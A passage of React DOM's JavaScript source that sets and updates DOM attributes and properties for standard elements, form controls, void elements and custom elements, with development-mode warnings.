`props.dangerouslySetInnerHTML`.',\n            );\n          }\n          domElement.innerHTML = nextHtml;\n        }\n      }\n      break;\n    }\n    // Note: `option.selected` is not updated if `select.multiple` is\n    // disabled with `removeAttribute`. We have special logic for handling this.\n    case 'multiple': {\n      (domElement: any).multiple =\n        value && typeof value !== 'function' && typeof value !== 'symbol';\n      break;\n    }\n    case 'muted': {\n      (domElement: any).muted =\n        value && typeof value !== 'function' && typeof value !== 'symbol';\n      break;\n    }\n    case 'suppressContentEditableWarning':\n    case 'suppressHydrationWarning':\n    case 'defaultValue': // Reserved\n    case 'defaultChecked':\n    case 'innerHTML':\n    case 'ref': {\n      // TODO: `ref` is pretty common, should we move it up?\n      // Noop\n      break;\n    }\n    case 'autoFocus': {\n      // We polyfill it separately on the client during commit.\n      // We could have excluded it in the property list instead of\n      // adding a special case here, but then it wouldn't be emitted\n      // on server rendering (but we *do* want to emit it in SSR).\n      break;\n    }\n    case 'xlinkHref': {\n      if (\n        value == null ||\n        typeof value === 'function' ||\n        typeof value === 'boolean' ||\n        typeof value === 'symbol'\n      ) {\n        domElement.removeAttribute('xlink:href');\n        break;\n      }\n      // `setAttribute` with objects becomes only `[object]` in IE8/9,\n      // ('' + value) makes it output the correct toString()-value.\n      if (__DEV__) {\n        checkAttributeStringCoercion(value, key);\n      }\n      const sanitizedValue = (sanitizeURL(\n        enableTrustedTypesIntegration ? value : '' + (value: any),\n      ): any);\n      domElement.setAttributeNS(xlinkNamespace, 'xlink:href', sanitizedValue);\n      break;\n    }\n    case 'contentEditable':\n    case 'spellCheck':\n    case 'draggable':\n    case 'value':\n    case 'autoReverse':\n    case 'externalResourcesRequired':\n    case 'focusable':\n    case 'preserveAlpha': {\n      // Booleanish String\n      // These are \"enumerated\" attributes that accept \"true\" and \"false\".\n      // In React, we let users pass `true` and `false` even though technically\n      // these aren't boolean attributes (they are coerced to strings).\n      // The SVG attributes are case-sensitive. Since the HTML attributes are\n      // insensitive they also work even though we canonically use lower case.\n      if (\n        value != null &&\n        typeof value !== 'function' &&\n        typeof value !== 'symbol'\n      ) {\n        if (__DEV__) {\n          checkAttributeStringCoercion(value, key);\n        }\n        domElement.setAttribute(\n          key,\n          enableTrustedTypesIntegration ? (value: any) : '' + (value: any),\n        );\n      } else {\n        domElement.removeAttribute(key);\n      }\n      break;\n    }\n    // Boolean\n    case 'inert': {\n      if (__DEV__) {\n        if (value === '' && !didWarnForNewBooleanPropsWithEmptyValue[key]) {\n          didWarnForNewBooleanPropsWithEmptyValue[key] = true;\n          console.error(\n            'Received an empty string for a boolean attribute `%s`. ' +\n              'This will treat the attribute as if it were false. ' +\n              'Either pass `false` to silence this warning, or ' +\n              'pass `true` if you used an empty string in earlier versions of React to indicate this attribute is true.',\n            key,\n          );\n        }\n      }\n    }\n    // Fallthrough for boolean props that don't have a warning for empty strings.\n    case 'allowFullScreen':\n    case 'async':\n    case 'autoPlay':\n    case 'controls':\n    case 'default':\n    case 'defer':\n    case 'disabled':\n    case 'disablePictureInPicture':\n    case 'disableRemotePlayback':\n    case 'formNoValidate':\n    case 'hidden':\n    case 'loop':\n    case 'noModule':\n    case 'noValidate':\n    case 'open':\n    case 'playsInline':\n    case 'readOnly':\n    case 'required':\n    case 'reversed':\n    case 'scoped':\n    case 'seamless':\n    case 'itemScope': {\n      if (value && typeof value !== 'function' && typeof value !== 'symbol') {\n        domElement.setAttribute(key, '');\n      } else {\n        domElement.removeAttribute(key);\n      }\n      break;\n    }\n    // Overloaded Boolean\n    case 'capture':\n    case 'download': {\n      // An attribute that can be used as a flag as well as with a value.\n      // When true, it should be present (set either to an empty string or its name).\n      // When false, it should be omitted.\n      // For any other value, should be present with that value.\n      if (value === true) {\n        domElement.setAttribute(key, '');\n      } else if (\n        value !== false &&\n        value != null &&\n        typeof value !== 'function' &&\n        typeof value !== 'symbol'\n      ) {\n        if (__DEV__) {\n          checkAttributeStringCoercion(value, key);\n        }\n        domElement.setAttribute(key, (value: any));\n      } else {\n        domElement.removeAttribute(key);\n      }\n      break;\n    }\n    case 'cols':\n    case 'rows':\n    case 'size':\n    case 'span': {\n      // These are HTML attributes that must be positive numbers.\n      if (\n        value != null &&\n        typeof value !== 'function' &&\n        typeof value !== 'symbol' &&\n        !isNaN(value) &&\n        (value: any) >= 1\n      ) {\n        if (__DEV__) {\n          checkAttributeStringCoercion(value, key);\n        }\n        domElement.setAttribute(key, (value: any));\n      } else {\n        domElement.removeAttribute(key);\n      }\n      break;\n    }\n    case 'rowSpan':\n    case 'start': {\n      // These are HTML attributes that must be numbers.\n      if (\n        value != null &&\n        typeof value !== 'function' &&\n        typeof value !== 'symbol' &&\n        !isNaN(value)\n      ) {\n        if (__DEV__) {\n          checkAttributeStringCoercion(value, key);\n        }\n        domElement.setAttribute(key, (value: any));\n      } else {\n        domElement.removeAttribute(key);\n      }\n      break;\n    }\n    case 'popover':\n      listenToNonDelegatedEvent('beforetoggle', domElement);\n      listenToNonDelegatedEvent('toggle', domElement);\n      setValueForAttribute(domElement, 'popover', value);\n      break;\n    case 'xlinkActuate':\n      setValueForNamespacedAttribute(\n        domElement,\n        xlinkNamespace,\n        'xlink:actuate',\n        value,\n      );\n      break;\n    case 'xlinkArcrole':\n      setValueForNamespacedAttribute(\n        domElement,\n        xlinkNamespace,\n        'xlink:arcrole',\n        value,\n      );\n      break;\n    case 'xlinkRole':\n      setValueForNamespacedAttribute(\n        domElement,\n        xlinkNamespace,\n        'xlink:role',\n        value,\n      );\n      break;\n    case 'xlinkShow':\n      setValueForNamespacedAttribute(\n        domElement,\n        xlinkNamespace,\n        'xlink:show',\n        value,\n      );\n      break;\n    case 'xlinkTitle':\n      setValueForNamespacedAttribute(\n        domElement,\n        xlinkNamespace,\n        'xlink:title',\n        value,\n      );\n      break;\n    case 'xlinkType':\n      setValueForNamespacedAttribute(\n        domElement,\n        xlinkNamespace,\n        'xlink:type',\n        value,\n      );\n      break;\n    case 'xmlBase':\n      setValueForNamespacedAttribute(\n        domElement,\n        xmlNamespace,\n        'xml:base',\n        value,\n      );\n      break;\n    case 'xmlLang':\n      setValueForNamespacedAttribute(\n        domElement,\n        xmlNamespace,\n        'xml:lang',\n        value,\n      );\n      break;\n    case 'xmlSpace':\n      setValueForNamespacedAttribute(\n        domElement,\n        xmlNamespace,\n        'xml:space',\n        value,\n      );\n      break;\n    // Properties that should not be allowed on custom elements.\n    case 'is': {\n      if (__DEV__) {\n        if (prevValue != null) {\n          console.error(\n            'Cannot update the \"is\" prop after it has been initialized.',\n          );\n        }\n      }\n      // TODO: We shouldn't actually set this attribute, because we've already\n      // passed it to createElement. We don't also need the attribute.\n      // However, our tests currently query for it so it's plausible someone\n      // else does too so it's break.\n      setValueForAttribute(domElement, 'is', value);\n      break;\n    }\n    case 'innerText':\n    case 'textContent':\n      return;\n    case 'popoverTarget':\n      if (__DEV__) {\n        if (\n          !didWarnPopoverTargetObject &&\n          value != null &&\n          typeof value === 'object'\n        ) {\n          didWarnPopoverTargetObject = true;\n          console.error(\n            'The `popoverTarget` prop expects the ID of an Element as a string. Received %s instead.',\n            value,\n          );\n        }\n      }\n    // Fall through\n    default: {\n      if (\n        key.length > 2 &&\n        (key[0] === 'o' || key[0] === 'O') &&\n        (key[1] === 'n' || key[1] === 'N')\n      ) {\n        if (\n          __DEV__ &&\n          registrationNameDependencies.hasOwnProperty(key) &&\n          value != null &&\n          typeof value !== 'function'\n        ) {\n          warnForInvalidEventListener(key, value);\n        }\n        // Updating events doesn't affect the visuals.\n        return;\n      } else {\n        const attributeName = getAttributeAlias(key);\n        setValueForAttribute(domElement, attributeName, value);\n      }\n    }\n  }\n  // To avoid marking things as host mutations we do early returns above.\n  trackHostMutation();\n}\n\nfunction setPropOnCustomElement(\n  domElement: Element,\n  tag: string,\n  key: string,\n  value: mixed,\n  props: any,\n  prevValue: mixed,\n): void {\n  switch (key) {\n    case 'style': {\n      setValueForStyles(domElement, value, prevValue);\n      return;\n    }\n    case 'dangerouslySetInnerHTML': {\n      if (value != null) {\n        if (typeof value !== 'object' || !('__html' in value)) {\n          throw new Error(\n            '`props.dangerouslySetInnerHTML` must be in the form `{__html: ...}`. ' +\n              'Please visit https://react.dev/link/dangerously-set-inner-html ' +\n              'for more information.',\n          );\n        }\n        const nextHtml: any = value.__html;\n        if (nextHtml != null) {\n          if (props.children != null) {\n            throw new Error(\n              'Can only set one of `children` or `props.dangerouslySetInnerHTML`.',\n            );\n          }\n          domElement.innerHTML = nextHtml;\n        }\n      }\n      break;\n    }\n    case 'children': {\n      if (typeof value === 'string') {\n        setTextContent(domElement, value);\n      } else if (typeof value === 'number' || typeof value === 'bigint') {\n        // $FlowFixMe[unsafe-addition] Flow doesn't want us to use `+` operator with string and bigint\n        setTextContent(domElement, '' + value);\n      } else {\n        return;\n      }\n      break;\n    }\n    case 'onScroll': {\n      if (value != null) {\n        if (__DEV__ && typeof value !== 'function') {\n          warnForInvalidEventListener(key, value);\n        }\n        listenToNonDelegatedEvent('scroll', domElement);\n      }\n      return;\n    }\n    case 'onScrollEnd': {\n      if (value != null) {\n        if (__DEV__ && typeof value !== 'function') {\n          warnForInvalidEventListener(key, value);\n        }\n        listenToNonDelegatedEvent('scrollend', domElement);\n        if (enableScrollEndPolyfill) {\n          // For use by the polyfill.\n          listenToNonDelegatedEvent('scroll', domElement);\n        }\n      }\n      return;\n    }\n    case 'onClick': {\n      // TODO: This cast may not be sound for SVG, MathML or custom elements.\n      if (value != null) {\n        if (__DEV__ && typeof value !== 'function') {\n          warnForInvalidEventListener(key, value);\n        }\n        trapClickOnNonInteractiveElement(((domElement: any): HTMLElement));\n      }\n      return;\n    }\n    case 'suppressContentEditableWarning':\n    case 'suppressHydrationWarning':\n    case 'innerHTML':\n    case 'ref': {\n      // Noop\n      return;\n    }\n    case 'innerText': // Properties\n    case 'textContent':\n      return;\n    // Fall through\n    default: {\n      if (registrationNameDependencies.hasOwnProperty(key)) {\n        if (__DEV__ && value != null && typeof value !== 'function') {\n          warnForInvalidEventListener(key, value);\n        }\n        return;\n      } else {\n        setValueForPropertyOnCustomComponent(domElement, key, value);\n        // We track mutations inside this call.\n        return;\n      }\n    }\n  }\n  // To avoid marking things as host mutations we do early returns above.\n  trackHostMutation();\n}\n\nexport function setInitialProperties(\n  domElement: Element,\n  tag: string,\n  props: Object,\n): void {\n  if (__DEV__) {\n    validatePropertiesInDevelopment(tag, props);\n  }\n\n  // TODO: Make sure that we check isMounted before firing any of these events.\n\n  switch (tag) {\n    case 'div':\n    case 'span':\n    case 'svg':\n    case 'path':\n    case 'a':\n    case 'g':\n    case 'p':\n    case 'li': {\n      // Fast track the most common tag types\n      break;\n    }\n    // img tags previously were implemented as void elements with non delegated events however Safari (and possibly Firefox)\n    // begin fetching the image as soon as the `src` or `srcSet` property is set and if we set these before other properties\n    // that can modify the request (such as crossorigin) or the resource fetch (such as sizes) then the browser will load\n    // the wrong thing or load more than one thing. This implementation ensures src and srcSet are set on the instance last\n    case 'img': {\n      listenToNonDelegatedEvent('error', domElement);\n      listenToNonDelegatedEvent('load', domElement);\n      // Mostly a port of Void Element logic with special casing to ensure srcset and src are set last\n      let hasSrc = false;\n      let hasSrcSet = false;\n      for (const propKey in props) {\n        if (!props.hasOwnProperty(propKey)) {\n          continue;\n        }\n        const propValue = props[propKey];\n        if (propValue == null) {\n          continue;\n        }\n        switch (propKey) {\n          case 'src':\n            hasSrc = true;\n            break;\n          case 'srcSet':\n            hasSrcSet = true;\n            break;\n          case 'children':\n          case 'dangerouslySetInnerHTML': {\n            // TODO: Can we make this a DEV warning to avoid this deny list?\n            throw new Error(\n              `${tag} is a void element tag and must neither have \\`children\\` nor ` +\n                'use `dangerouslySetInnerHTML`.',\n            );\n          }\n          // defaultChecked and defaultValue are ignored by setProp\n          default: {\n            setProp(domElement, tag, propKey, propValue, props, null);\n          }\n        }\n      }\n      if (hasSrcSet) {\n        setProp(domElement, tag, 'srcSet', props.srcSet, props, null);\n      }\n      if (hasSrc) {\n        setProp(domElement, tag, 'src', props.src, props, null);\n      }\n      return;\n    }\n    case 'input': {\n      if (__DEV__) {\n        checkControlledValueProps('input', props);\n      }\n      // We listen to this event in case to ensure emulated bubble\n      // listeners still fire for the invalid event.\n      listenToNonDelegatedEvent('invalid', domElement);\n\n      let name = null;\n      let type = null;\n      let value = null;\n      let defaultValue = null;\n      let checked = null;\n      let defaultChecked = null;\n      for (const propKey in props) {\n        if (!props.hasOwnProperty(propKey)) {\n          continue;\n        }\n        const propValue = props[propKey];\n        if (propValue == null) {\n          continue;\n        }\n        switch (propKey) {\n          case 'name': {\n            name = propValue;\n            break;\n          }\n          case 'type': {\n            type = propValue;\n            break;\n          }\n          case 'checked': {\n            checked = propValue;\n            break;\n          }\n          case 'defaultChecked': {\n            defaultChecked = propValue;\n            break;\n          }\n          case 'value': {\n            value = propValue;\n            break;\n          }\n          case 'defaultValue': {\n            defaultValue = propValue;\n            break;\n          }\n          case 'children':\n          case 'dangerouslySetInnerHTML': {\n            if (propValue != null) {\n              throw new Error(\n                `${tag} is a void element tag and must neither have \\`children\\` nor ` +\n                  'use `dangerouslySetInnerHTML`.',\n              );\n            }\n            break;\n          }\n          default: {\n            setProp(domElement, tag, propKey, propValue, props, null);\n          }\n        }\n      }\n      // TODO: Make sure we check if this is still unmounted or do any clean\n      // up necessary since we never stop tracking anymore.\n      validateInputProps(domElement, props);\n      initInput(\n        domElement,\n        value,\n        defaultValue,\n        checked,\n        defaultChecked,\n        type,\n        name,\n        false,\n      );\n      return;\n    }\n    case 'select': {\n      if (__DEV__) {\n        checkControlledValueProps('select', props);\n      }\n      // We listen to this event in case to ensure emulated bubble\n      // listeners still fire for the invalid event.\n      listenToNonDelegatedEvent('invalid', domElement);\n      let value = null;\n      let defaultValue = null;\n      let multiple = null;\n      for (const propKey in props) {\n        if (!props.hasOwnProperty(propKey)) {\n          continue;\n        }\n        const propValue = props[propKey];\n        if (propValue == null) {\n          continue;\n        }\n        switch (propKey) {\n          case 'value': {\n            value = propValue;\n            // This is handled by initSelect below.\n            break;\n          }\n          case 'defaultValue': {\n            defaultValue = propValue;\n            // This is handled by initSelect below.\n            break;\n          }\n          case 'multiple': {\n            multiple = propValue;\n            // TODO: We don't actually have to fall through here because we set it\n            // in initSelect anyway. We can remove the special case in setProp.\n          }\n          // Fallthrough\n          default: {\n            setProp(domElement, tag, propKey, propValue, props, null);\n          }\n        }\n      }\n      validateSelectProps(domElement, props);\n      initSelect(domElement, value, defaultValue, multiple);\n      return;\n    }\n    case 'textarea': {\n      if (__DEV__) {\n        checkControlledValueProps('textarea', props);\n      }\n      // We listen to this event in case to ensure emulated bubble\n      // listeners still fire for the invalid event.\n      listenToNonDelegatedEvent('invalid', domElement);\n      let value = null;\n      let defaultValue = null;\n      let children = null;\n      for (const propKey in props) {\n        if (!props.hasOwnProperty(propKey)) {\n          continue;\n        }\n        const propValue = props[propKey];\n        if (propValue == null) {\n          continue;\n        }\n        switch (propKey) {\n          case 'value': {\n            value = propValue;\n            // This is handled by initTextarea below.\n            break;\n          }\n          case 'defaultValue': {\n            defaultValue = propValue;\n            break;\n          }\n          case 'children': {\n            children = propValue;\n            // Handled by initTextarea above.\n            break;\n          }\n          case 'dangerouslySetInnerHTML': {\n            if (propValue != null) {\n              // TODO: Do we really need a special error message for this. It's also pretty blunt.\n              throw new Error(\n                '`dangerouslySetInnerHTML` does not make sense on <textarea>.',\n              );\n            }\n            break;\n          }\n          default: {\n            setProp(domElement, tag, propKey, propValue, props, null);\n          }\n        }\n      }\n      // TODO: Make sure we check if this is still unmounted or do any clean\n      // up necessary since we never stop tracking anymore.\n      validateTextareaProps(domElement, props);\n      initTextarea(domElement, value, defaultValue, children);\n      return;\n    }\n    case 'option': {\n      validateOptionProps(domElement, props);\n      for (const propKey in props) {\n        if (!props.hasOwnProperty(propKey)) {\n          continue;\n        }\n        const propValue = props[propKey];\n        if (propValue == null) {\n          continue;\n        }\n        switch (propKey) {\n          case 'selected': {\n            // TODO: Remove support for selected on option.\n            (domElement: any).selected =\n              propValue &&\n              typeof propValue !== 'function' &&\n              typeof propValue !== 'symbol';\n            break;\n          }\n          default: {\n            setProp(domElement, tag, propKey, propValue, props, null);\n          }\n        }\n      }\n      return;\n    }\n    case 'dialog': {\n      listenToNonDelegatedEvent('beforetoggle', domElement);\n      listenToNonDelegatedEvent('toggle', domElement);\n      listenToNonDelegatedEvent('cancel', domElement);\n      listenToNonDelegatedEvent('close', domElement);\n      break;\n    }\n    case 'iframe':\n    case 'object': {\n      // We listen to this event in case to ensure emulated bubble\n      // listeners still fire for the load event.\n      listenToNonDelegatedEvent('load', domElement);\n      break;\n    }\n    case 'video':\n    case 'audio': {\n      // We listen to these events in case to ensure emulated bubble\n      // listeners still fire for all the media events.\n      for (let i = 0; i < mediaEventTypes.length; i++) {\n        listenToNonDelegatedEvent(mediaEventTypes[i], domElement);\n      }\n      break;\n    }\n    case 'image': {\n      // We listen to these events in case to ensure emulated bubble\n      // listeners still fire for error and load events.\n      listenToNonDelegatedEvent('error', domElement);\n      listenToNonDelegatedEvent('load', domElement);\n      break;\n    }\n    case 'details': {\n      // We listen to this event in case to ensure emulated bubble\n      // listeners still fire for the toggle event.\n      listenToNonDelegatedEvent('toggle', domElement);\n      break;\n    }\n    case 'embed':\n    case 'source':\n    case 'link': {\n      // These are void elements that also need delegated events.\n      listenToNonDelegatedEvent('error', domElement);\n      listenToNonDelegatedEvent('load', domElement);\n      // We fallthrough to the return of the void elements\n    }\n    case 'area':\n    case 'base':\n    case 'br':\n    case 'col':\n    case 'hr':\n    case 'keygen':\n    case 'meta':\n    case 'param':\n    case 'track':\n    case 'wbr':\n    case 'menuitem': {\n      // Void elements\n      for (const propKey in props) {\n        if (!props.hasOwnProperty(propKey)) {\n          continue;\n        }\n        const propValue = props[propKey];\n        if (propValue == null) {\n          continue;\n        }\n        switch (propKey) {\n          case 'children':\n          case 'dangerouslySetInnerHTML': {\n            // TODO: Can we make this a DEV warning to avoid this deny list?\n            throw new Error(\n              `${tag} is a void element tag and must neither have \\`children\\` nor ` +\n                'use `dangerouslySetInnerHTML`.',\n            );\n          }\n          // defaultChecked and defaultValue are ignored by setProp\n          default: {\n            setProp(domElement, tag, propKey, propValue, props, null);\n          }\n        }\n      }\n      return;\n    }\n    default: {\n      if (isCustomElement(tag, props)) {\n        for (const propKey in props) {\n          if (!props.hasOwnProperty(propKey)) {\n            continue;\n          }\n          const propValue = props[propKey];\n          if (propValue === undefined) {\n            continue;\n          }\n          setPropOnCustomElement(\n            domElement,\n            tag,\n            propKey,\n            propValue,\n            props,\n            undefined,\n          );\n        }\n        return;\n      }\n    }\n  }\n\n  for (const propKey in props) {\n    if (!props.hasOwnProperty(propKey)) {\n      continue;\n    }\n    const propValue = props[propKey];\n    if (propValue == null) {\n      continue;\n    }\n    setProp(domElement, tag, propKey, propValue, props, null);\n  }\n}\n\nexport function updateProperties(\n  domElement: Element,\n  tag: string,\n  lastProps: Object,\n  nextProps: Object,\n): void {\n  if (__DEV__) {\n    validatePropertiesInDevelopment(tag, nextProps);\n  }\n\n  switch (tag) {\n    case 'div':\n    case 'span':\n    case 'svg':\n    case 'path':\n    case 'a':\n    case 'g':\n    case 'p':\n    case 'li': {\n      // Fast track the most common tag types\n      break;\n    }\n    case 'input': {\n      let name = null;\n      let type = null;\n      let value = null;\n      let defaultValue = null;\n      let lastDefaultValue = null;\n      let checked = null;\n      let defaultChecked = null;\n      for (const propKey in lastProps) {\n        const lastProp = lastProps[propKey];\n        if (lastProps.hasOwnProperty(propKey) && lastProp != null) {\n          switch (propKey) {\n            case 'checked': {\n              break;\n            }\n            case 'value': {\n              // This is handled by updateWrapper below.\n              break;\n            }\n            case 'defaultValue': {\n              lastDefaultValue = lastProp;\n            }\n            // defaultChecked and defaultValue are ignored by setProp\n            // Fallthrough\n            default: {\n              if (!nextProps.hasOwnProperty(propKey))\n                setProp(domElement, tag, propKey, null, nextProps, lastProp);\n            }\n          }\n        }\n      }\n      for (const propKey in nextProps) {\n        const nextProp = nextProps[propKey];\n        const lastProp = lastProps[propKey];\n        if (\n          nextProps.hasOwnProperty(propKey) &&\n          (nextProp != null || lastProp != null)\n        ) {\n          switch (propKey) {\n            case 'type': {\n              if (nextProp !== lastProp) {\n                trackHostMutation();\n              }\n              type = nextProp;\n              break;\n            }\n            case 'name': {\n              if (nextProp !== lastProp) {\n                trackHostMutation();\n              }\n              name = nextProp;\n              break;\n            }\n            case 'checked': {\n              if (nextProp !== lastProp) {\n                trackHostMutation();\n              }\n              checked = nextProp;\n              break;\n            }\n            case 'defaultChecked': {\n              if (nextProp !== lastProp) {\n                trackHostMutation();\n              }\n              defaultChecked = nextProp;\n              break;\n            }\n            case 'value': {\n              if (nextProp !== lastProp) {\n                trackHostMutation();\n              }\n              value = nextProp;\n              break;\n            }\n            case 'defaultValue': {\n              if (nextProp !== lastProp) {\n                trackHostMutation();\n              }\n              defaultValue = nextProp;\n              break;\n            }\n            case 'children':\n            case 'dangerouslySetInnerHTML': {\n              if (nextProp != null) {\n                throw new Error(\n                  `${tag} is a void element tag and must neither have \\`children\\` nor ` +\n                    'use `dangerouslySetInnerHTML`.',\n                );\n              }\n              break;\n            }\n            default: {\n              if (nextProp !== lastProp)\n                setProp(\n                  domElement,\n                  tag,\n                  propKey,\n                  nextProp,\n                  nextProps,\n                  lastProp,\n                );\n            }\n          }\n        }\n      }\n\n      if (__DEV__) {\n        const wasControlled =\n          lastProps.type === 'checkbox' || lastProps.type === 'radio'\n            ? lastProps.checked != null\n            : lastProps.value != null;\n        const isControlled =\n          nextProps.type === 'checkbox' || nextProps.type === 'radio'\n            ? nextProps.checked != null\n            : nextProps.value != null;\n\n        if (\n          !wasControlled &&\n          isControlled &&\n          !didWarnUncontrolledToControlled\n        ) {\n          console.error(\n            'A component is changing an uncontrolled input to be controlled. ' +\n              'This is likely caused by the value changing from undefined to ' +\n              'a defined value, which should not happen. ' +\n              'Decide between using a controlled or uncontrolled input ' +\n              'element for the lifetime of the component. More info: https://react.dev/link/controlled-components',\n          );\n          didWarnUncontrolledToControlled = true;\n        }\n        if (\n          wasControlled &&\n          !isControlled &&\n          !didWarnControlledToUncontrolled\n        ) {\n          console.error(\n            'A component is changing a controlled input to be uncontrolled. ' +\n              'This is likely caused by the value changing from a defined to ' +\n              'undefined, which should not happen. ' +\n              'Decide between using a controlled or uncontrolled input ' +\n              'element for the lifetime of the component. More info: https://react.dev/link/controlled-components',\n          );\n          didWarnControlledToUncontrolled = true;\n        }\n      }\n\n      // Update the wrapper around inputs *after* updating props. This has to\n      // happen after updating the rest of props. Otherwise HTML5 input validations\n      // raise warnings and prevent the new value from being assigned.\n      updateInput(\n        domElement,\n        value,\n        defaultValue,\n        lastDefaultValue,\n        checked,\n        defaultChecked,\n        type,\n        name,\n      );\n      return;\n    }\n    case 'select': {\n      let value = null;\n      let defaultValue = null;\n      let multiple = null;\n      let wasMultiple = null;\n      for (const propKey in lastProps) {\n        const lastProp = lastProps[propKey];\n        if (lastProps.hasOwnProperty(propKey) && lastProp != null) {\n          switch (propKey) {\n            case 'value': {\n              // This is handled by updateWrapper below.\n              break;\n            }\n            // defaultValue are ignored by setProp\n            case 'multiple': {\n              wasMultiple = lastProp;\n              // TODO: Move special case in here from setProp.\n            }\n            // Fallthrough\n            default: {\n              if (!nextProps.hasOwnProperty(propKey)) {\n                setProp(domElement, tag, propKey, null, nextProps, lastProp);\n              }\n            }\n          }\n        }\n      }\n      for (const propKey in nextProps) {\n        const nextProp = nextProps[propKey];\n        const lastProp = lastProps[propKey];\n        if (\n          nextProps.hasOwnProperty(propKey) &&\n          (nextProp != null || lastProp != null)\n        ) {\n          switch (propKey) {\n            case 'value': {\n              if (nextProp !== lastProp) {\n                trackHostMutation();\n              }\n              value = nextProp;\n              // This is handled by updateSelect below.\n              break;\n            }\n            case 'defaultValue': {\n              if (nextProp !== lastProp) {\n                trackHostMutation();\n              }\n              defaultValue = nextProp;\n              break;\n            }\n            case 'multiple': {\n              if (nextProp !== lastProp) {\n                trackHostMutation();\n              }\n              multiple = nextProp;\n              // TODO: Just move the special case in here from setProp.\n            }\n            // Fallthrough\n            default: {\n              if (nextProp !== lastProp)\n                setProp(\n                  domElement,\n                  tag,\n                  propKey,\n                  nextProp,\n                  nextProps,\n                  lastProp,\n                );\n            }\n          }\n        }\n      }\n      // <select> value update needs to occur after <option> children\n      // reconciliation\n      updateSelect(domElement, value, defaultValue, multiple, wasMultiple);\n      return;\n    }\n    case 'textarea': {\n      let value = null;\n      let defaultValue = null;\n      for (const propKey in lastProps) {\n        const lastProp = lastProps[propKey];\n        if (\n          lastProps.hasOwnProperty(propKey) &&\n          lastProp != null &&\n          !nextProps.hasOwnProperty(propKey)\n        ) {\n          switch (propKey) {\n            case 'value': {\n              // This is handled by updateTextarea below.\n              break;\n            }\n            case 'children': {\n              // TODO: This doesn't actually do anything if it updates.\n              break;\n            }\n            // defaultValue is ignored by setProp\n            default: {\n              setProp(domElement, tag, propKey, null, nextProps, lastProp);\n            }\n          }\n        }\n      }\n      for (const propKey in nextProps) {\n        const nextProp = nextProps[propKey];\n        const lastProp = lastProps[propKey];\n        if (\n          nextProps.hasOwnProperty(propKey) &&\n          (nextProp != null || lastProp != null)\n        ) {\n          switch (propKey) {\n            case 'value': {\n              if (nextProp !== lastProp) {\n                trackHostMutation();\n              }\n              value = nextProp;\n              // This is handled by updateTextarea below.\n              break;\n            }\n            case 'defaultValue': {\n              if (nextProp !== lastProp) {\n                trackHostMutation();\n              }\n              defaultValue = nextProp;\n              break;\n            }\n            case 'children': {\n              // TODO: This doesn't actually do anything if it updates.\n              break;\n            }\n            case 'dangerouslySetInnerHTML': {\n              if (nextProp != null) {\n                // TODO: Do we really need a special error message for this. It's also pretty blunt.\n                throw new Error(\n                  '`dangerouslySetInnerHTML` does not make sense on <textarea>.',\n                );\n              }\n              break;\n            }\n            default: {\n              if (nextProp !== lastProp)\n                setProp(\n                  domElement,\n                  tag,\n                  propKey,\n                  nextProp,\n                  nextProps,\n                  lastProp,\n                );\n            }\n          }\n        }\n      }\n      updateTextarea(domElement, value, defaultValue);\n      return;\n    }\n    case 'option': {\n      for (const propKey in lastProps) {\n        const lastProp = lastProps[propKey];\n        if (\n          lastProps.hasOwnProperty(propKey) &&\n          lastProp != null &&\n          !nextProps.hasOwnProperty(propKey)\n        ) {\n          switch (propKey) {\n            case 'selected': {\n              // TODO: Remove support for selected on option.\n              (domElement: any).selected = false;\n              break;\n            }\n            default: {\n              setProp(domElement, tag, propKey, null, nextProps, lastProp);\n            }\n          }\n        }\n      }\n      for (const propKey in nextProps) {\n        const nextProp = nextProps[propKey];\n        const lastProp = lastProps[propKey];\n        if (\n          nextProps.hasOwnProperty(propKey) &&\n          nextProp !== lastProp &&\n          (nextProp != null || lastProp != null)\n        ) {\n          switch (propKey) {\n            case 'selected': {\n              if (nextProp !== lastProp) {\n                trackHostMutation();\n              }\n              // TODO: Remove support for selected on option.\n              (domElement: any).selected =\n                nextProp &&\n                typeof nextProp !== 'function' &&\n                typeof nextProp !== 'symbol';\n              break;\n            }\n            default: {\n              setProp(domElement, tag, propKey, nextProp, nextProps, lastProp);\n            }\n          }\n        }\n      }\n      return;\n    }\n    case 'img':\n    case 'link':\n    case 'area':\n    case 'base':\n    case 'br':\n    case 'col':\n    case 'embed':\n    case 'hr':\n    case 'keygen':\n    case 'meta':\n    case 'param':\n    case 'source':\n    case 'track':\n    case 'wbr':\n    case 'menuitem': {\n      // Void elements\n      for (const propKey in lastProps) {\n        const lastProp = lastProps[propKey];\n        if (\n          lastProps.hasOwnProperty(propKey) &&\n          lastProp != null &&\n          !nextProps.hasOwnProperty(propKey)\n        ) {\n          setProp(domElement, tag, propKey, null, nextProps, lastProp);\n        }\n      }\n      for (const propKey in nextProps) {\n        const nextProp = nextProps[propKey];\n        const lastProp = lastProps[propKey];\n        if (\n          nextProps.hasOwnProperty(propKey) &&\n          nextProp !== lastProp &&\n          (nextProp != null || lastProp != null)\n        ) {\n          switch (propKey) {\n            case 'children':\n            case 'dangerouslySetInnerHTML': {\n              if (nextProp != null) {\n                // TODO: Can we make this a DEV warning to avoid this deny list?\n                throw new Error(\n                  `${tag} is a void element tag and must neither have \\`children\\` nor ` +\n                    'use `dangerouslySetInnerHTML`.',\n                );\n              }\n              break;\n            }\n            // defaultChecked and defaultValue are ignored by setProp\n            default: {\n              setProp(domElement, tag, propKey, nextProp, nextProps, lastProp);\n            }\n          }\n        }\n      }\n      return;\n    }\n    default: {\n      if (isCustomElement(tag, nextProps)) {\n        for (const propKey in lastProps) {\n          const lastProp = lastProps[propKey];\n          if (\n            lastProps.hasOwnProperty(propKey) &&\n            lastProp !== undefined &&\n            !nextProps.hasOwnProperty(propKey)\n          ) {\n            setPropOnCustomElement(\n              domElement,\n              tag,\n              propKey,\n              undefined,\n              nextProps,\n              lastProp,\n            );\n          }\n        }\n        for (const propKey in nextProps) {\n          const nextProp = nextProps[propKey];\n          const lastProp = lastProps[propKey];\n          if (\n            nextProps.hasOwnProperty(propKey) &&\n            nextProp !== lastProp &&\n            (nextProp !== undefined || lastProp !== undefined)\n          ) {\n            setPropOnCustomElement(\n              domElement,\n              tag,\n              propKey,\n              nextProp,\n              nextProps,\n              lastProp,\n            );\n          }\n        }\n        return;\n      }\n    }\n  }\n\n  for (const propKey in lastProps) {\n    const lastProp = lastProps[propKey];\n    if (\n      lastProps.hasOwnProperty(propKey) &&\n      lastProp != null &&\n      !nextProps.hasOwnProperty(propKey)\n    ) {\n      setProp(domElement, tag, propKey, null, nextProps, lastProp);\n    }\n  }\n  for (const propKey in nextProps) 